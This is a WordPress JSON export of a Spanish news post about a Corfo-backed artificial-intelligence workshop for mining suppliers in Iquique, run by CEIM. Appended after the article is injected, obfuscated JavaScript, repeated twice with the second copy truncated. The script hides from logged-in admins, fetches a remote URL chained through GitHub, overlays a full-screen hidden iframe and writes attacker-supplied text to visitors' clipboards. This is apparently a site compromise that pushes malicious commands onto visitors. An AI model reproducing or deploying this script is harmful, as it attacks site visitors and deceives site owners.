{"id":42171,"date":"2025-10-07T12:16:53","date_gmt":"2025-10-07T15:16:53","guid":{"rendered":"https:\/\/ceim.cl\/?p=42171"},"modified":"2026-05-22T17:02:39","modified_gmt":"2026-05-22T21:02:39","slug":"finalizo-con-exito-la-primera-version-del-programa-de-gestion-de-riesgos-y-seguridad-en-plantas-de-h%e2%82%82v-impulsado-por-ceim-y-ahk-chile","status":"publish","type":"post","link":"https:\/\/ceim.cl\/en\/finalizo-con-exito-la-primera-version-del-programa-de-gestion-de-riesgos-y-seguridad-en-plantas-de-h%e2%82%82v-impulsado-por-ceim-y-ahk-chile\/","title":{"rendered":"Proveedores de la miner\u00eda en Tarapac\u00e1 aprenden a aplicar Inteligencia Artificial para fortalecer su competitividad"},"content":{"rendered":"<p><em><em><em>Programa de Difusi\u00f3n Tecnol\u00f3gica (PDT), apoyado por Corfo permiti\u00f3 mostrar aplicaciones de automatizaci\u00f3n e inteligencia artificial en entornos empresariales.<\/em><\/em><\/em><\/p>\n\n\n\n<p>Con el objetivo de acercar la digitalizaci\u00f3n y las nuevas tecnolog\u00edas a las empresas de la regi\u00f3n, y en el marco del Programa de Difusi\u00f3n Tecnol\u00f3gica para Proveedores de Tarapac\u00e1, impulsado por Corfo, se realiz\u00f3 en Iquique un taller de Inteligencia Artificial aplicada a la productividad y automatizaci\u00f3n de procesos, instancia que reuni\u00f3 a m\u00e1s de una treintena de empresas participantes del PDT, interesadas en incorporar herramientas de innovaci\u00f3n y transformaci\u00f3n digital en sus operaciones.<\/p>\n\n\n\n<p>La jornada fue dirigida por Jos\u00e9 Andr\u00e9s P\u00e9rez, Director de TI de CEIM, quien mostr\u00f3 c\u00f3mo herramientas accesibles pueden incorporarse de manera pr\u00e1ctica en las operaciones diarias de cualquier empresa, sin importar su tama\u00f1o o nivel de madurez digital.<\/p>\n\n\n\n<p><em>\u201cHoy repasamos el contexto de la digitalizaci\u00f3n, las oportunidades que existen en la regi\u00f3n y c\u00f3mo las herramientas de la \u00faltima ola de innovaci\u00f3n permiten implementar mejoras en empresas de cualquier nivel. Buscamos visibilizar soluciones que ya est\u00e1n disponibles y que permiten mejorar procesos, aumentar la productividad e incluso abrir nuevos servicios\u201d<\/em>, explic\u00f3 P\u00e9rez.<\/p>\n\n\n\n<p>Durante el taller, se destac\u00f3 que el principal desaf\u00edo para avanzar en digitalizaci\u00f3n no es t\u00e9cnico, sino cultural. <em>\u201cCuando las personas entienden d\u00f3nde encontrar el conocimiento para desarrollar estas herramientas, surge la motivaci\u00f3n y las ideas para aplicarlas en su propio trabajo\u201d,<\/em> agreg\u00f3 el director.<\/p>\n\n\n\n<p>La directora regional de Corfo, Catalina Cort\u00e9s, explic\u00f3 que \u201ca trav\u00e9s del instrumento PDT estamos entregando nuevas herramientas para potenciar en forma tecnol\u00f3gica y sustentable a las Pymes regionales dedicadas a proveer el sector minero. De esta manera, estamos potenciando las gestiones de las empresas regionales\u201d.<\/p>\n\n\n\n<p><strong>Participantes<\/strong><\/p>\n\n\n\n<p>La actividad cont\u00f3 con una alta participaci\u00f3n de empresas pertenecientes a la cadena de valor de la miner\u00eda, quienes valoraron el enfoque pr\u00e1ctico y la aplicabilidad inmediata de los contenidos.<\/p>\n\n\n\n<p>En este sentido, Mixie Irarr\u00e1zabal, participante, coment\u00f3: <em>\u201cEst\u00e1 s\u00faper \u00fatil, me viene como anillo al dedo porque justo estoy estudiando temas relacionados. Se lo recomendar\u00eda a todos mis colegas, porque sirve para automatizar tareas, optimizar el tiempo y mejorar las labores diarias.\u201d<\/em><\/p>\n\n\n\n<p>Felipe Condori, Director de TI en Reyco Ingenier\u00eda, destac\u00f3 el valor del intercambio entre empresas: <em>\u201cEn nuestra empresa estamos abiertos al uso de nuevas tecnolog\u00edas, pero venir al curso nos permiti\u00f3 conocer c\u00f3mo otras compa\u00f1\u00edas las est\u00e1n aplicando. Recomiendo totalmente participar, porque ayuda a romper el miedo o la barrera de acercarse a estas herramientas.\u201d<\/em><\/p>\n\n\n\n<p><strong>Innovaci\u00f3n y oportunidades para Tarapac\u00e1<\/strong><\/p>\n\n\n\n<p>El taller se desarroll\u00f3 en el marco del Programa de Difusi\u00f3n Tecnol\u00f3gica (PDT) para Proveedores de Tarapac\u00e1, impulsado por Corfo y ejecutado por CEIM, iniciativa que busca reducir brechas tecnol\u00f3gicas y fortalecer la competitividad de los proveedores locales, acerc\u00e1ndolos a los desaf\u00edos de la transformaci\u00f3n digital y el desarrollo sostenible.<\/p>\n\n\n\n<p><em>\u201cDesde CEIM estamos impulsando el desarrollo de competencias que permitan a las empresas proveedoras adaptarse a los nuevos escenarios tecnol\u00f3gicos de la miner\u00eda. Este programa, que realizamos junto a CORFO, busca fortalecer la competitividad regional a trav\u00e9s de la transferencia de conocimiento y la incorporaci\u00f3n de herramientas digitales. La transformaci\u00f3n digital no es solo una meta, es una capacidad que debemos instalar en las personas y las organizaciones para construir una industria m\u00e1s innovadora y sostenible\u201d<\/em>, se\u00f1al\u00f3 Abd\u00f3n Ram\u00edrez, Director de Sedes de CEIM.<\/p>\n\n\n\n<p><strong>Plan formativo PDT<\/strong><\/p>\n\n\n\n<p>El plan formativo desarrollado por CEIM incluye contenidos en automatizaci\u00f3n, rob\u00f3tica, an\u00e1lisis de datos, digitalizaci\u00f3n y marketing digital, complementados con actividades de transferencia tecnol\u00f3gica, ruedas de negocios y visitas t\u00e9cnicas, ofreciendo un enfoque integral para enfrentar los retos de la miner\u00eda moderna.<\/p>\n\n\n\n<p>La jornada finaliz\u00f3 con un espacio de networking, que permiti\u00f3 a los participantes compartir experiencias, generar v\u00ednculos y proyectar nuevas colaboraciones en torno a la Industria 4.0, la digitalizaci\u00f3n y la sostenibilidad.<\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"42175\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2025\/10\/IMG_3905-1024x768.jpg\" alt=\"\" class=\"wp-image-42175\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2025\/10\/IMG_3905-1024x768.jpg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2025\/10\/IMG_3905-300x225.jpg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2025\/10\/IMG_3905-768x576.jpg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2025\/10\/IMG_3905-1536x1152.jpg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2025\/10\/IMG_3905-2048x1536.jpg 2048w, https:\/\/ceim.cl\/wp-content\/uploads\/2025\/10\/IMG_3905-16x12.jpg 16w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/figure>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === 